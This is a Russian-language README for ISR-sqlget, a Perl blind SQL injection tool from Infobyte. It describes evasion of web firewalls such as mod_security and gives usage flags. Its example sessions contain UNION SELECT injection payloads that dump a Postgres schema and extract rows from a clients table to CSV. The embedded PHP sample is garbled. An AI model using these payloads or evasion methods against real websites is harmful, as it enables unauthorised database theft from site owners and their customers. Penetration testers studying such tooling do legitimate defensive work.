
ISR-sqlget Это инструмент для слепой SQL-инъекции, разработанный на Perl.
-- ISR - Infobyte Security Research -- | ISR-sqlget | www.infobytesec.com |
..:: ОПИСАНИЕ
ISR-sqlget: Это инструмент для слепой SQL-инъекции, разработанный на Perl. Он позволяет получать схемы баз данных и строки таблиц. С помощью одного GET/POST запроса можно незаметно получить структуру базы данных, а с помощью одного GET/POST запроса — выгрузить каждую строку таблицы в CSV-подобный файл.
Поддерживаемые базы данных:
- IBM DB2
- Microsoft SQL Server
- Oracle
- Postgres
- Mysql
- IBM Informix
- Sybase
- Hsqldb (www.hsqldb.org)
- Mimer (www.mimer.com)
- Pervasive (www.pervasive.com)
- Virtuoso (virtuoso.openlinksw.com)
- SQLite
- Interbase/Yaffil/Firebird (Borland)
- H2 (http://www.h2database.com)
- Mckoi (http://mckoi.com/database/)
- Ingres (http://www.ingres.com)
- MonetDB (http://www.monetdb.nl)
- MaxDB (www.mysql.com/products/maxdb/)
- ThinkSQL (http://www.thinksql.co.uk/)
- SQLBase (http://www.unify.com)
Средства обхода:
- Кодирование Unicode полной/половинной ширины
- Обход нестандартных CR в Apache
- Обход mod_security
- Случайное преобразование запроса в верхний регистр
- PHP Magicquotes: кодирование каждой строки с помощью функции CHR базы данных или аналогичной
- Преобразование запросов в шестнадцатеричные значения
- Избегание замены пробела на непробельные символы, такие как /**/ или табуляция (\t)
- Избегание конкатенации через || или + с помощью функции concat базы данных или аналогичной
- Случайный user-agent
- Случайный proxy-сервер
- Случайная задержка запроса
Общие возможности:
- Чёрный список загрузки схемы базы данных
- Поддержка массива cookie
- Поддержка SSL
- Поддержка proxy-сервера
- Выгрузка информации о базе данных в формате csv
Отчётность:
- Графическое представление структуры базы данных для создания впечатляющих отчётов для руководства
- Требуется библиотека Graphviz (http://www.graphviz.org/)
..:: ИСПОЛЬЗОВАНИЕ
Инструменту требуется следующая информация:
Возможные ДЕЙСТВИЯ:
Сначала:
1. Получить схему базы данных.
Затем:
2.a Получить строки таблиц (формат csv).
2.b Получить графическую схему базы данных.
..:: Пример:
Цель: http://target.infobytesec.com/helloworld.php?id=
Исходный код helloworld.php:
"; while ($tr = $database->fetch_row()) { print ""; print $tr['name']; print ""; } print ""; ?>Прочитайте пример сеанса (конфигурационный файл): ./helloworld.pm
Получить схему базы данных:
; bash# ./ISR-sqlget.pl -s -n helloworld ; -------------------------------------------------- ; Action: Get dbschema, Session name: helloworld ; -------------------------------------------------- ; ; http://target.infobytesec.com/helloworld.php?id=,id=1 union select 1,COALESCE((select nspname from pg_namespace ; where a.relnamespace =pg_namespace.oid),'0'::text)||'[]'||COALESCE(relname,'0'::text)||'[]'||COALESCE(attname,'0'::text); ; ||'[__]'||COALESCE((select typname from pg_type where oid=b.atttypid),'0'::text) from (pg_attribute b JOIN pg_class a ON ; (a.oid = b.attrelid)) where (attnum > 0 and ((a.relkind = 'r'::"char") OR (a.relkind = 's'::"char"))) --' ; from sqlite_master where type='table' --,GET ; ; bash#
Это создаст локальный файл схемы в: ./template/helloworld.dbschema
Затем получить строки таблиц:
; bash# ./ISR-sqlget.pl -d -n helloworld ;-------------------------------------------------- ;Action: Get DBDATA, Session name: helloworld ;-------------------------------------------------- ;-------------------------------------------------- ;Action: Get DBDATA, Session name: helloworld, DbSchema: helloworld.dbschema ;-------------------------------------------------- ;------------------------------------------------------------------------------------------------------------------------------------------------------ ;http://target.infobyte.com.ar/helloworld.php?id=,id=1 union all select id||'[]'||name||'[]'||address from ;company.clients --,GET ;Save source table: ./datos/helloworld.company.clients.sql.html ;Save csv table: ./datos/helloworld.company.clients.csv ;------------------------------------------------------------------------------------------------------------------------------ ;.....
В каталоге "./datos/" для каждой таблицы вы получите два файла:
[sessionname].[database].[table].sql.html # исходный html [sessionname].[database].[table].csv # значения, разделённые запятыми
Обратите внимание, что "./datos" можно указать с помощью параметра $conf::outputdb в конфигурационном файле сеанса.
..:: Дополнительно
Инструмент использует только один тип столбца text/varchar/etc в SQL-запросе SELECT. С помощью выражений UNION вы можете получить «в этом столбце» всю схему базы данных, используя "[__]" в качестве разделителя.
Когда вы уже сохранили локальную схему базы данных, вы сможете:
1.a Получить строки таблиц: Используя ту же технику, вы можете получить все строки каждой таблицы в базе данных; столбцы с типами данных, несовместимыми с text, преобразуются в тип text с помощью собственных функций базы данных.
1.b Получить графическую схему базы данных.
Инструмент использует для каждого действия конфигурационный файл сеанса. Этот конфигурационный файл определяет необходимые параметры для эксплуатации SQL-инъекции. Параметр @conf::path задаёт способ разбора необработанного HTML для работы с инструментом.
Подробности справки:
Использование: ./ISR-sqlget.pl [ACTION] [OPTIONS]
Действие: -c: Проверить модуль разбора -t: Получить тестовую страницу -a: Получить имена всех баз данных (только mssql) -s: Получить структуру(ы) базы(баз) данных -d: Получить информацию о базе(ах) данных (формат csv) -g: Графическая структура базы данных (формат gif)
Опции: -n: Имя сеанса -p: (Используйте с действием -c, укажите исходную страницу для проверки модуля); По умолчанию ./template/$SESSION.testpage -v: Подробный вывод -h: Справка
-t: Используя файл сеанса, вы получаете короткую системную таблицу данных для использования с действием "-c" для последующего разбора необработанного HTML.
-c: По умолчанию используется ./template/[session-name].testpage. Он используется для разработки и тестирования разбора необработанного HTML. Вы можете выбрать другой HTML-файл с помощью опции "-p".
-a: Все СУБД используют следующий порядок для получения строк таблиц: 1. "-s" получить структуру (сохраняет схему базы данных в локальный файл). 2. "-d" получить данные таблиц.
Из-за системных таблиц MSSQL необходимо добавить предварительный шаг:
1. "-a" Получить имена всех баз данных /schema/catalog (сохраняет имена в локальный файл).
2. "-s" получить структуру (сохраняет схему базы данных в локальный файл).
3. "-d" получить данные таблиц.
-s: получить структуру (сохраняет схему базы данных в локальный файл).
-d: получить данные таблиц.
-g: Используя ранее полученный локальный файл схемы базы данных, получить графическую схему базы данных (формат gif).
-n: Указывает имя конфигурационного файла сеанса.
..:: Примечания
./pmschanges.txt: Мы используем модифицированную версию LWP, Net::HTTP, которая включает методы и спецификации CRLs. В этом файле объясняются модификации.
./dbs/isr_*: Каждый модуль базы данных имеет переменную @space, которая определяет тип допустимого пробела. Пример: my @space=(' ',"\t","/**/"); #all spaces
..:: Параметры конфигурационного файла сеанса: